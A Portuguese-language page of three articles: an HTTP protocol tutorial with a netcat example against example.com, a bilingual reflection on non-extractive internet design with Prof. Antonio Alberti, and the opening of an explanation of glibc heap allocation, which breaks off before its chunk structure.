Jump to content
  • Articles

    Gabriel Bezerra
    Criado como o protocolo para transmissão de hipertextos na World Wide Web, o protocolo HTTP ganhou bastante popularidade desde sua criação entre 1989 e 1991. É através desse protocolo que navegadores se comunicam com servidores para obter todos os textos, código e mídia que compõem os websites que acessamos.
    Para além do seu uso na web, dado sua simplicidade e extensibilidade; a disponibilidade de ferramentas e implementações em diversas linguagens de programação; e o fato de ser liberado pela maior parte dos firewalls e filtros de rede, o protocolo foi adotado como base de diversos outros protocolos e de interfaces entre aplicações e serviços.
    Neste artigo, exploraremos a história do protocolo, sua estrutura e funcionamento. Com esse conhecimento, poderemos entender melhor suas extensões e aplicações.
    História
    O protocolo HTTP (HyperText Transfer Protocol, ou "protocolo de transferência de hipertexto" em tradução livre) foi criado por Tim Berners-Lee e seu time, em 1989, como parte de sua proposta para a World Wide Web. A proposta se baseava em hipertextos -- textos com referências a outros textos que podem ser acessadas imediatamente -- e possuia quatro elementos básicos:
    Uma linguagem para representação de documentos de hipertexto: HTML (HyperText Markup Language); Um protocolo para transmissão desses documentos: HTTP (HyperText Transfer Protocol); Um cliente para exibição desses documentos: o navegador ou browser; Um servidor para disponibilização desses documentos. HTTP 0.9
    A primeira versão do HTTP era bastante simples e possuia apenas uma funcionalidade: obter um documento. As requisições eram enviadas em conexões TCP/IP e tinham o formato:
    GET /pagina.html As repostas consistiam apenas do documento em si:
    <html>exemplo de página em html</html> Apenas documentos HTML podiam ser transmitidos. Também não havia códigos de retorno. Em caso de erro, uma página com uma descrição do erro era eviada a fim de ser entendida pelo usuário. Ao final da transmissão do documento, a conexão era encerrada. Essa versão foi documentada em 1991, sendo chamada de HTTP 0.9.
    Desde então, o protocolo começou a evoluir via experimentação. Entre 1991 e 1995, um servidor e um navegador adicionavam funcionalidades e aguardavam para ver se ela obtinha tração. Um esforço de padronização foi então iniciado.
    HTTP 1.0
    Em 1996, a versão 1.0 foi padronizada com a publicação do RFC 1945. As principais adições dessa versão foram:
    A informação de versão do protocolo foi adicionada à primeira linha da requisição, com o sufixo "HTTP/1.0"; Código de estado, ou código de retorno, foi adicionado à primeira linha da resposta, permitindo a sinalização de condições de erro; Cabeçalhos foram adicionados à todas as mensagens, permitindo extensões ao protocolo e transmissão de metadados. Por exemplo, o cabeçalho "Content-Type" viabilizou a transmissão de outros tipos de conteúdo além de documentos HTML. HTTP 1.1
    Em 1997, poucos meses após a padronização da versão 1.0, com a publicação do RFC 2068 definiu-se a versão 1.1 do protocolo, também chamada HTTP/1.1. Em 1999 foi publicado o RFC 2616, com atualizações e melhorias sobre o RFC 2068. Em 2014, uma série de RFCs foi publicada detalhando e esclarecendo o RFC 2616: RFC 7230, RFC 7231, RFC 7232, RFC 7233, RFC 7234 e RFC 7235.
    As principais mudanças da versão 1.1 foram:
    Reutilização de conexões para atendimento de diversas requisições, economizando recursos para a abertura das múltiplas conexões necessárias para obtenção dos vários documentos que compõem uma página; O cabeçalho "Host" torna-se obrigatório, permitindo que websites de múltiplos domínios sejam hospedados simultaneamente em um mesmo servidor; Pipelining, permitindo que diversas requisições fossem enviadas antes de as respostas serem recebidas: uma forma de diminuir o atraso para transmissão de documentos. Uma técnica não muito utilizada na prática; "Chunked Transfer Encoding" ("codificação de transferência seccionada", em tradução livre), mecanismos de controle de caches e mecanismos de negociação de conteúdo entre cliente e servidor. HTTP 2.0
    Em 2015, baseado principalmente na experiência obtida com o protocolo experimental SPDY da Google, foi publicado o RFC 7540, padronizando a versão 2.0 do protocolo, também conhecida como HTTP/2.
    As principais diferenças do HTTP/2 se comparado ao HTTP/1.1 são:
    É um protocolo binário em vez de textual; É um protocolo multiplexado, isto é, diversas requisições e suas respectivas respostas dividem uma mesma conexão TCP/IP paralelamente. Essa funcionalidade substitui o pipelining do HTTP/1.1; Compressão de cabeçalhos; Alimentação de caches dos clientes pelo servidor antes mesmo dos clientes Enviarem requisições para os respectivos recursos. HTTP 3.0
    No momento da escrita deste artigo, está em discussão a criação da versão 3 do HTTP. A principal modificação prevista para o HTTP/3 é o uso do protocolo de transporte QUIC no lugar de TCP como o protocolo de transporte para o HTTP.
    O foco das modificações nesta versão é desempenho. Por exemplo, tenta-se diminuir a quantidade de trocas de mensagens necessárias para o estabelecimento de conexões. O rascunho mais recente de sua especificação pode ser encontrado em draft-ietf-quic-http-34.
    Segurança em comunicações HTTP
    É importante notar que o protocolo HTTP, em todas as suas versões até então, não provê confidencialidade, integridade ou autenticidade das transmissões.
    Para obter essas propriedades de segurança, a Netscape Communications criou, em 1994, o HTTPS (HyperText Transfer Protocol Secure). Uma extensão ao HTTP em que, em vez de utilizar HTTP diretamente sobre uma conexão TCP/IP, a conexão TCP/IP é criptografada usando TLS (Transport Layer Security, "segurança de camada de transporte" em tradução livre), antigamente chamado de SSL (Secure Sockets Layer, "camada de sockets seguros" em tradução livre).
    O protocolo
    A sintaxe e a semântica do HTTP têm se mantido estável desde sua versão 1.1. As mudanças realizadas em versões posteriores ao HTTP/1.1 trataram-se principalmente de mudanças em relação à camada de transporte, e de extensões ao protocolo através da padronização de novos cabeçalhos.
    Por isso, cobriremos neste artigo a versão 1.1 do protocolo, considerando apenas sua estrutura básica. O conhecimento desta parte do protocolo poderá então ser usado para entender suas extensões e protocolos construídos com base nele.
    Modelo de comunicação
    O protocolo HTTP segue o modelo de cliente-servidor, em que o cliente abre uma conexão para o servidor, envia uma requisição e aguarda sua resposta.
    Ele é um protocolo de camada de aplicação e, apesar de ser classicamente implementado sobre TCP, funciona sobre qualquer protocolo de transporte que forneça entrega confiável de mensagens.
    Intermediários
    O HTTP é feito para que componentes intermediários na comunicação possam colaborar para a entrega de uma requisição e/ou de uma resposta. Os intermediários considerados na definição do protocolo são: proxies, gateways (ou reverse-proxies) e túneis.
    Proxies são intermediários escolhidos pelos clientes, normalmente via configuração local. Gateways são intermediários escolhidos pelo servidor, normalmente implementando caches ou balanceadores de carga. Tanto proxies como gateways podem alterar o conteúdo da comunicação HTTP. Túneis são intermediários que retransmitem mensagens entre duas conexões sem alterar seu conteúdo.
    URIs
    URIs (Uniform Resource Identifiers, "identificadores uniformes de recursos" em tradução livre), definidos pelo RFC 3986, são o meio usado para identificar recursos no HTTP. URIs são usados para direcionar requisições, indicar redirecionamentos e definir relacionamentos.
    Os "URI Scheme"s "http" e "https" são definidos pelo RFC 7230.
    Sessão HTTP
    Uma sessão HTTP é uma sequência de transmissões no formato: requisição-resposta. O cliente -- não necessariamente um navegador -- inicia uma requisição estabelecendo uma conexão TCP, normalmente na porta 80 do servidor; ou uma conexão TLS sobre TCP, normalmente na porta 443 do servidor. Em seguida, envia a mensagem de requisição ao servidor.
    O servidor, esperando a conexão, aguarda a mensagem de requisição do cliente. Ao recebê-la, processa-a e responde ao cliente enviando um código de estado seguido de sua resposta. A reposta do servidor pode conter o documento requerido, um erro ou outras informações.
    Como discutido na seção anterior, conexões podem ser reusadas para o envio de múltiplas requisições.
    Independentemente o reuso de conexões, o protocolo HTTP é um protocolo "stateless", isto é, informações de estado não são mantidas pelo receptor -- neste caso, o servidor -- entre requisições. Cada requisição pode ser entendida isoladamente.
    Para implementar manutenção de estado da sessão, é necessário utilizar-se extensões ao HTTP. Por exemplo, aplicações podem utilizar Cookies, parâmetros na URL ou parâmetros escondidos em formulários HTML.
    Mensagem HTTP
    As mensagens do protocolo HTTP são compostas por:
    Uma linha inicial, cujo formato varia entre requisição e resposta; Possivelmente uma sequência de cabeçalhos; Uma linha vazia; Possivelmente um corpo da mensagem. As linhas são separadas pelos caracteres "<CR><LF>": os caracteres "carriage return" e "line feed" da tabela ASCII, representados pelos valores 0x0D e 0x0A em hexadecimal ou os caracteres "\r\n" na notação de strings de C.
    Por exemplo, na mensagem:
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* Temos a linha inicial "GET / HTTP/1.1" os cabeçalhos "Host: www.example.com", "User-Agent: curl/7.64.1" e "Accept: */*", a linha vazia, e nenhum corpo. Já na mensagem:
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> Temos a linha inicial "HTTP/1.1 301 Moved Permanently", os cabeçalhos "Server: nginx/1.14.2", "Content-Type: text/html", "Content-Length: 185", "Connection: keep-alive" e "Location: https://www.example.com/", a linha vazia, e o corpo "<html>...</html>".
    Cabeçalhos
    Os cabeçalhos são formados por pares chave-valor da forma:
    Uma chave case-insensitive, isto é, ignorando maíusculas e minúsculas; Um caractere ":" possivelmente seguido de espaços em branco; Um valor; Possivelmente espaços em branco. Cada cabeçalho é separado do próximo por uma quebra de linha contendo "<CR><LF>".
    Observe que nem a chave nem o valor do cabeçalho podem conter os caracteres "<CR><LF>", caso contrário um novo cabeçalho é iniciado. Caso o tipo de dado a ser a ser transmitido no cabeçalho possa conter quebras de linha, é necessário codificá-lo com uma codificação que não produza "<CR><LF>". Uma codificação comumente utilizada para isso é a codificação por cento, também chamada de codificação URL.
    Corpo da mensagem
    O corpo da mensagem é um campo opcional. Apenas alguns tipos de requisições e alguns tipos respostas permitem ou necessitam de um corpo de mensagem.
    A presença de um corpo de mensagem é sinalizado pelos cabeçalhos "Content-Length" ou "Transfer-Encoding". O primeiro é usado para sinalizar o número de bytes que compõem o corpo da mensagem, o segundo é usado quando se deseja transmitir um corpo de forma seccionada ("chunked") ou comprimida, por exemplo. Apenas um dentre "Content-Length" e "Transfer-Encoding" devem ser usados em uma mesma mensagem.
    Requisição
    As requisições HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    O método, ou verbo, que representa o comando a ser executado; O recurso alvo da requisição; A versão do protocolo: por exemplo, "HTTP/1.1". Além disso, em toda requisição, é necessário informar o cabeçalho "Host". Seu valor deve conter o nome de domínio do website ou servidor a ser acessado. O nome de domínio utilizado nesse cabeçalho deve resolver para um enderço IP do servidor.
    Usando novamente o exemplo da seção anterior,
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* A linha inicial dessa requisição contém o método "GET", o recurso "/" e a versão do protocolo "HTTP/1.1".
    Métodos
    Os métodos, ou verbos, do protocolo HTTP definem a operação que se deseja realizar com o recurso especificado.
    O RFC 7231 define os métodos:
    GET: Requer uma representação do recurso especificado. No caso mais simples, apenas uma representação existe e ela é retornada. Múltiplas representações podem existir e serem negociadas através de cabeçalhos `Accept`, por exemplo; HEAD: O mesmo que GET, mas sem que o servidor inclua o corpo da respota; POST: Requer que o servidor processe o corpo da mensagem de requisição de acordo com as regras aplicáveis ao recurso especificado; PUT: Requer que o servidor troque todas as representações atuais do recurso especificado, pelo conteúdo do corpo da mensagem de requisição; DELETE: Requer que o servidor apague todas as representações atuais do recurso especificado; CONNECT: Requer o estabelecimento de um túnel para o servidor identificado pelo recurso especificado. Seu uso é esperado apenas para controlar proxies HTTP. OPTIONS: Requer informações sobre as opções de comunicação disponíveis para o recurso especificado. Em particular, o servidor responde com os métodos permitidos para aquele recurso. Caso suportado, pode também ser usado para obter informações sobre o próprio servidor ao se especificar o recurso "*"; TRACE: Requer que o servidor repita a mensagem recebida de volta para o cliente, para que o cliente possa investigar modificações na mensagem causadas por intermediários. Um outro método comumente aceito por servidores é definido no RFC 5789:
    PATCH: Requer que o servidor altere todas as representações do recurso especificado de acordo com as modificações descritas no corpo da mensagem de requisição. O RFC 7231 define também o conceito de Métodos Seguros ("safe"): aqueles cuja semântica é essencialmente de somente leitura e, portanto, não devem causar nenhuma mudança significativa no servidor ou no recurso. Esse é o caso de "GET", "HEAD", "OPTIONS" e "TRACE". Essa definição é importante porque guia o comportamento esperado de clientes como navegadores, caches e robôs que varrem a web. Apesar disso, nada impede que aplicações incluam comportamentos perigosos, que não sejam apenas leitura ou que causem efeitos colaterais enquanto processam métodos seguros.
    Um outro conceito definido pelo RFC 7231 é o de Métodos Idempotentes: aquele cujo efeito de aplicá-los multiplas vezes é o mesmo que o de aplicá-los apenas uma vez. Esse é o caso dos métodos "PUT", "DELETE" e de todos os métodos seguros. A importância desta definição é que clientes podem reenviar essas requisições -- por exemplo, caso algo dê errado com a conexão -- sabendo que o efeito do reenvio vai ser o mesmo que caso o primeiro envio tenha sido bem sucedido. Assim como em relação aos métodos seguros, nada impede que aplicações incluam efeitos não idempotentes no processamento de métodos idempotentes.
    A lista completa de métodos padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Method Registry.
    Resposta
    As respostas HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    A versão do protocolo ("HTTP/1.1", por exemplo); O código de estado, sinalizando se a requisição foi bem sucedida ou não; Uma mensagem de estado, contendo uma curta descrição do código de estado. Usando novamente o exemplo da seção anterior,
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> A linha inicial dessa resposta contém a versão do protocolo "HTTP/1.1", o código de estado "301" e a mensagem de estado "Moved Permanently". Essa mensagem também possui um documento HTML como corpo, que pode ser exibido ao usuário.
    Devido ao seu conteúdo, a linha inicial da resposta HTTP é também chamada de linha de estado.
    O cliente processa a resposta HTTP primariamente baseado em seu código de estado e depois baseado nos seus cabeçalhos. A mensagem de estado serve apenas de caráter informativo.
    Códigos de estado
    Códigos de estado são inteiros de três digitos que sinalizam o resultado do processamento da mensagem de requisição. Eles são organizados em classes baseadas em seu primeiro dígito:
    1xx (Informativo): A requisição foi recebida, continuando a processá-la; 2xx (Bem sucedido): A requisição foi recebida, entendida e aceita; 3xx (Redirecionamento): Mais ações do cliente são necessárias para completar a requisição; 4xx (Erro do cliente): A requisição possui erros de sintaxe ou não pode ser atendida; 5xx (Erro do servidor): O servidor não conseguiu atender uma requisição aparentemente válida; A lista de códigos de estado é extensível. Clientes não precisam conhecer todos os códigos de estado, porém devem poder reconhecê-los por sua classe baseado em seu primeiro dígito.
    A lista completa de códigos de estado padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Status Code Registry.
    Exemplo
    Para exemplificar o que vimos até agora, podemos experimentar o protocol manualmente usando o comando "netcat" (também representado pelo comando "nc") ou pelo "telnet".
    Para isso, primeiro executamos "nc www.example.com 80" para nos conectarmos à porta "80" do servidor em "www.example.com".
    $ nc www.example.com 80 Agora escrevemos nossa mensagem de requisição: um método "HEAD" para o recurso "/":
    HEAD / HTTP/1.1 Host: www.example.com Note que é necessário enviar uma linha em branco, marcando o final dos cabeçalhos e, no caso do método "HEAD", também o final da requisição.
    O servidor então nos responde com a mensagem de resposta:
    HTTP/1.1 200 OK Content-Encoding: gzip Accept-Ranges: bytes Age: 327597 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Fri, 14 May 2021 11:50:22 GMT Etag: "3147526947+ident" Expires: Fri, 21 May 2021 11:50:22 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D2A) X-Cache: HIT Content-Length: 648 Podemos reusar a mesma conexão para enviar a próxima mensagem de requisição. Desta vez tentaremos um "POST" para o recurso "/", porém mal-formado, faltando o corpo da mensagem:
    POST / HTTP/1.1 Host: www.example.com O servidor então nos responde com o erro:
    HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Note que, como é de se esperar, visto que enviamos uma requisição mal-formada, o código de estado se refere a um erro da classe "4xx" (erro do cliente).
    Abaixo o que se espera da comunicação completa:
    $ nc www.example.com 80 HEAD / HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Accept-Ranges: bytes Age: 552546 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Mon, 17 May 2021 02:19:31 GMT Etag: "3147526947" Expires: Mon, 24 May 2021 02:19:31 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D13) X-Cache: HIT Content-Length: 1256 POST / HTTP/1.1 Host: www.example.com HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Caso queira experimentar outros métodos, abaixo seguem alguns exemplos de mensagens de requisição para enviar.
    GET / HTTP/1.1 Host: www.example.com  
    OPTIONS / HTTP/1.1 Host: www.example.com Caso queira testar com outros servidores, altere tanto o endereço ao qual se conecta no "netcat" ou "telnet", como o valor do cabeçalho "Host" para o servidor ao qual está se conectando.
    Referências
    https://en.wikipedia.org/wiki/Hypertext https://pt.wikipedia.org/wiki/Hipertexto https://en.wikipedia.org/wiki/HTTP_pipelining https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview https://developer.mozilla.org/en-US/docs/Web/HTTP https://en.wikipedia.org/wiki/HTTPS https://en.wikipedia.org/wiki/Stateless_protocol https://en.wikipedia.org/wiki/List_of_HTTP_header_fields https://en.wikipedia.org/wiki/HTTP_message_body

    Joana Mao
    Um grupo de seis kaospilots (alunos da Kaospilot, uma escola dinamarquesa de empreendedorismo e impacto social) colaborou nos últimos meses com uma rede social descentralizada, para reescrever um novo protocolo que atende e beneficia as necessidades de comunidades nativas na Nova Zelândia e na Índia. O objetivo principal era desenhar um processo de design não extrativista. Onde as necessidades das comunidades pudessem ser identificadas e ao mesmo tempo que suas identidades culturais fossem preservadas.
    A team of six kaospilots (students from Kaospilot, a danish school of entrepreneurship and social impact) have collaborated with a decentralized social network in recent months to rewrite  the network's protocol in order to serve and benefit the needs of native communities in New Zealand and India. The main goal was to design a non-extractive process by which the needs of the communities would be identified while preserving their cultural identities.
    Para discutir algumas das descobertas e desafios desse projeto sistêmico, os kaospilots conversaram com Antonio Marcos Alberti, PhD em Eletrônica e Telecomunicações, criador da NovaGenesis e pioneiro no design da Internet do Futuro. O diálogo foi assistido por uma audiência ao vivo no dia 11 de maio e posteriormente publicado na rede brasileira RenaSCIdade. 
    To discuss some of the findings and challenges of this systemic project the kaospilots sat down in dialogue with Antonio Marcos Alberti, PhD in Electronics and Telecommunications, the creator of NovaGenesis and a pioneer in Future Internet. The dialogue was viewed by a live audience on may 11th and was later published at the brazilian network RenaSCIdade.  
    Este artigo é uma pós-vida reflexiva deste diálogo e é co-escrito entre o grupo de alunos e o professor Alberti. Aqui, faremos uma reflexão sobre os tópicos de criação de valor, testes de usuários não extrativistas e o futuro do design da Internet.
    Não será fornecido um resumo do diálogo e recomendamos que o leitor veja o diálogo na íntegra através do vídeo:
    This article is a reflective afterlife of the dialogue that took place and it is co-written between the kaospilot team and professor Alberti. We will reflect on the topics of Value creation, Non-extractive user testing and the future of internet design.
    A resume of the dialogue will not be given and we recommend that the reader view the dialogue in full through the video:
     
     
     
    É POSSÍVEL MEDIR A CRIAÇÃO DE VALOR SISTÊMICO? / IS MEASURING SYSTEMIC VALUE CREATION POSSIBLE?
    O primeiro tópico da conversa dizia respeito à criação e medição de valor em um trabalho sistêmico.
    Assim que se começa a trabalhar sistematicamente, surgem as perguntas: Como podemos medir se estamos avançando ou não? Como medir se o processo de cocriação está agregando valor ao trabalho? E a métrica da prosperidade?
    Analisar o efeito da cocriação na prosperidade de um sistema é difícil. A prosperidade em si é multidimensional e pode acontecer em termos de economia, economia de tempo, aprendizado, treinamento de liderança, troca de conhecimento, etc.
    The first topic held in conversation concerned the creation and measurement of value in systematic work.
    As soon as you start working systematically the questions arise: How can we measure whether we are advancing or not? How do you measure whether the co-creation process is adding value to the work? And the metric of prosperity, in fact? 
    Analyzing the effect of co-creation on prosperity of a system is difficult. Prosperity itself is multidimensional and can happen in terms of economics, time savings, learning, leadership training, knowledge exchange etc.

    Como um sistema é um corpo complexo formado por indivíduos e interações dinâmicas, ele não é previsível, linear ou estático. Portanto, ter qualquer previsão sobre como e quando medir o valor de um trabalho sistêmico é um processo complexo ou talvez até impossível. Só podemos saber os resultados exatos de um processo sistêmico depois que a dinâmica é colocada em prática. É como na natureza, só podemos calcular as probabilidades de que um experimento tenha um determinado resultado, mas só saberemos o resultado efetivamente após o cálculo (realizando as trocas e dinâmicas em grupo).
    As a system is a complex body made up of individuals and dynamic interactions, it is not predictable, linear and static. So, having any prediction on how and when to measure value is a complex process or maybe even impossible. We may only be able to know the exact outcomes of a systematic process after the dynamics are put into effect. It is like in nature, we can only calculate probabilities that an experiment will have a certain result, but we will only know the result effectively after computing (performing the exchanges and dynamics in a group).
    À medida que o projeto desdobrava seus efeitos, os kaospilots receberam feedback de stakeholders com as quais trabalharam, como: "O método que vocês definiram para trabalhar nesse processo de mudança de forma mais embasada no diálogo, abriu a minha mente sobre como eu devo abordar o nosso trabalho no futuro ”. - líder da comunidade
    As the project unfolded its effects the kaospilots received feedback from parts of the stakeholders they had worked with stating the following: “The method you have framed for working with the change process in a more dialogue based way has given me food for thought on how I should approach our future work”. - community leader
    Este feedback mostra que o valor surgirá organicamente. É importante romper com os modelos lineares para sermos liderados por processos de cocriação. A geração de valor surge como um comportamento social mais do que um resultado quantificável.
    As seen in this feedback the value will emerge organically. It is important to break free from linear models and be led by co-creation processes. The generation of value emerges as a social behavior more than a quantifiable result.
     
    EXISTE TESTE DO USUÁRIO NÃO EXTRATIVISTA? / DOES NON-EXTRACTIVE USER TESTING EXIST?

    Ao discutir o potencial dos testes de usuários não extrativistas, descobrimos que o termo parece ser novo no campo, já que o Prof. Alberti confirmou que foi a primeira vez que ouviu falar dele.
    Upon discussing the potential of non-extractive user testing we found that the term seems to be new in the field as Prof. Alberti confirmed it was his first time hearing of it. 
    O grupo da Kaospilot tem tido dificuldades com o termo e sua definição e, embora o objetivo do termo seja redefinir como a indústria de tecnologia inclui as perspectivas de seus usuários em seu design, a conotação das palavras pode não ser adequada. Uma pergunta que surge disso é: tentando não ser extrativista em relação aos usuários, o termo “teste do usuário” serve ao propósito ou precisamos renomear o processo de incluir as perspectivas do usuário? Alguém poderia argumentar que o teste do usuário tem uma conotação sedimentada para a extração em sua história. Uma reformulação poderia ser: "Capacitação  de inclusão de usuários”?
    Uma vez que o termo e o propósito por trás dele podem ainda estar em um estágio pioneiro, parece que temos a possibilidade de moldar sua denominação e a sua prática.
    The kaospilot team have been juggling with the term and its definition for weeks and though the purpose of the term is to redefine how the tech industry includes the perspectives of its users in it’s design the connotation of the words might not be fitting. One question arising from that is: If one attempts to be non-extractive towards one's users will “user testing” then serve the purpose or do we need to rename the process of including user perspectives? One could argue that user testing has a sedimented connotation to extraction in its history. Could a rephrasing be: “Capacity building user inclusion”?  
    Since the term and the purpose behind it may yet be at a pioneering stage it seems that we might have the possibility to shape it’s phrasing and practice.
     
    O FUTURO DO DESIGN DA INTERNET SERÁ FEITO POR HUMANOS?/ IS THE FUTURE OF INTERNET DESIGN MADE BY HUMANS?
    “Prepare-se para a cocriação híbrida entre máquinas e pessoas. Ela precisará ser multidisciplinar. Será difícil ter programadores capazes de implementar protocolos, compreender as leis sistêmicas, empatia, comunicação não violenta e preservação de culturas. ” - Antonio Alberti
    “Get ready for hybrid co-creation with machines and people. It needs to be multidisciplinary. It will be difficult to have programmers that are capable of implementing protocols, understanding the systemic laws, empathy, non-violent communication and preservation of cultures.” - Antonio Alberti 
    Aproveitar os avanços tecnológicos exponenciais para co-criar novos modelos e tecnologias baseadas em valores humanos se faz necessário. Só assim poderemos transformar realidades de forma ética, respeitosa, inclusiva, não extrativista e preservando a diversidade. O desenho de alternativas à Internet passa por esse caminho de cuidado, inclusão e equilíbrio emocional, aliado ao aprimoramento técnico.
    Taking advantage of exponential technological advances to co-create new models and technologies based on human values is a must. Only in this way can we transform realities in an ethical, respectful, inclusive, non-extractive way, preserving diversity.  The design of alternatives to the Internet goes through this path of care, inclusion and emotional balance, coupled with technical improvements.
    Temos que aceitar que estamos observando uma mudança dramática no jogo - uma ruptura em termos do papel futuro dos aspectos humanos na criação de valor. Conforme a tecnologia evolui para uma inteligência mais complexa, os humanos precisam trabalhar junto com a tecnologia para ensinar a inteligência a respeitar a cultura e fornecer bons exemplos para o futuro do design da Internet.
    We have to accept that we are observing a dramatic change of the game – a disruption in terms of the future role of the human aspects in value creation. As technology evolves towards more complex intelligence; humans need to work together with technology to teach the intelligence to be respectful of culture and provide good examples for the future of Internet design.

     
    Sobre os co-autores/ About the co-authors
    Kaospilot - Cohort 4: A Kaospilot é uma escola de liderança criativa e empreendedorismo com significado. Durante o programa de formação, um semestre é dedicado a um projeto de Liderança Sistêmica (SLA) para praticar o pensamento sistêmico em projetos reais. O SLA Cohort 4 é um grupo de kaospilots formado por Joana Mao,  Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis e Anders Jahn. Juntos eles mergulharam no mundo do design da internet do futuro colaborando com uma rede social descentralizada com o desafio de reescrever um novo protocolo com respeito `as necessidades em estruturas de comunicação de comunidades.
    Kaospilot - Cohort 4: Kaospilot is a school of creative leadership and meaningful entrepreneurship in Denmark. During its education program, a full semester is dedicated to a Systemic Leadership Assignment (SLA) to practice systemic thinking in real world projects. The SLA Cohort 4 was a team of kaospilots formed by Joana Mao, Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis and Anders Jahn. Together they dove into the world of future internet design collaborating with a decentralized social network with the challenge of rewriting a new protocol to respect the cultural needs of communities in communication structures.
    Antonio Marcos Alberti é engenheiro, professor, coordenador do Information and Communications Technologies (ICT) Laboratory do Inatel e programador C/C++. É doutor em Eletrônica e Telecomunicações pela Unicamp e pós-doutor pelo Electronics and Telecommunications Research Institute (ETRI) da Coréia do Sul. Autor de mais de 100 artigos científicos. Já ministrou mais de 60 palestras sobre tecnologia e suas disrupções, incluindo HackTown, Futurecom, Exponential Conference, Campus Party, TEDxInatel, Pint of Science, Ciência no Boteco, etc. Colunista do Olhar Digital, EngenhariaÉ e Futurecom Digital. Pai da arquitetura NovaGenesis. Contribuiu para documento de requisitos para Internet do Futuro na Coréia do Sul e nas discussões iniciais do Plano Nacional de M2M/IoT. Criador do movimento de empreendedorismo social em rede chamado Renascidade e autor da parte técnica do projeto de Integração de Soluções IoT para Cidades Inteligentes financiado pelo BNDES.  Hacker de tendências, pioneiro da Internet do futuro e consultor.
    Antonio Marcos Alberti is an engineer, professor, head of the Information and Communications Technologies (ICT) Laboratory at Instituto Nacional de Telecomunicações (INATEL), Brazil, and a C/C ++ programmer. He holds a PhD in Electronics and Telecommunications from Unicamp, Brazil, and a post-doctoral degree from Electronics and Telecommunications Research Institute (ETRI), Korea. He is the author of more than 100 scientific articles. He has lectured more than 60 talks about technology and its disruptions, including talks at HackTown, Futurecom, Campus Party, TEDxInatel, Pint of Science, Science in Boteco, etc. He is columnist of Olhar Digital, EngenhariaÉ and Futurecom. Chief architect of NovaGenesis future Internet project (since 2008). Creator of the social network entrepreneurship movement called Renascidade. He has contributed for Future Internet in South Korea and in the initial discussions of the Brazilian National M2M/IoT Plan. Trend hacker, Future Internet pioneer and consultant.
     
     

    Felipe.Silva
    A heap é uma estrutura especial de memória usada pelo processo. O que tem de especial nela é o fato de seu tamanho ser variável, já que sua memória pode ser alocada ou desalocada dinamicamente pelo processo. Isso pode ser feito usando syscalls do sistema operacional e o mesmo é responsável por alocar mais páginas de memória para a seção caso seja necessário.
    No Linux o segmento de dados pode ser aumentado ou diminuído usando a syscall brk, e é esse espaço de memória que os programas normalmente usam para a heap. Em C nós normalmente não usamos a heap diretamente e, ao invés disso, usamos a função malloc() e semelhantes para lidar com a alocação dinâmica de memória. O que alguns não sabem é que na verdade chamadas para a função malloc() ou free() não necessariamente irão resultar na alocação ou desalocação de memória para o processo. Isso se dá porque é a libc quem de fato gerencia a heap e nós não estamos diretamente solicitando ou liberando memória para o sistema operacional.
    *libc é a biblioteca padrão da linguagem C que contém funções essenciais para tarefas básicas como: Manipulação de strings e arquivos, entrada e saída de dados, funções básicas de matemática etc.
    A função malloc(), de acordo com a implementação da glibc, usa o segmento de dados, o dividindo em uma ou mais regiões de memória que eles chamam de “arenas”. A arena principal corresponde à heap original do processo, porém outras arenas também podem ser alocadas para o processo. Inicialmente cada thread criada no processo tem uma arena individual até atingir um certo limite pré-definido de arenas que podem ser alocadas no processo. Atingindo esse limite, as threads posteriores passam a compartilhar a mesma arena. Em cada arena de memória existem divisões da memória que são chamadas de maneira homônima de heap, e são nessas heaps que a função malloc() de fato aloca memória para o usuário da libc.
    Cada bloco de memória que malloc() aloca na heap é chamado de chunk, e cada chunk contém metadados usados pelo sistema interno de malloc para organizar a heap como uma lista duplamente encadeada. Para fins de ilustração, abaixo está a estrutura de um chunk, usada na glibc:
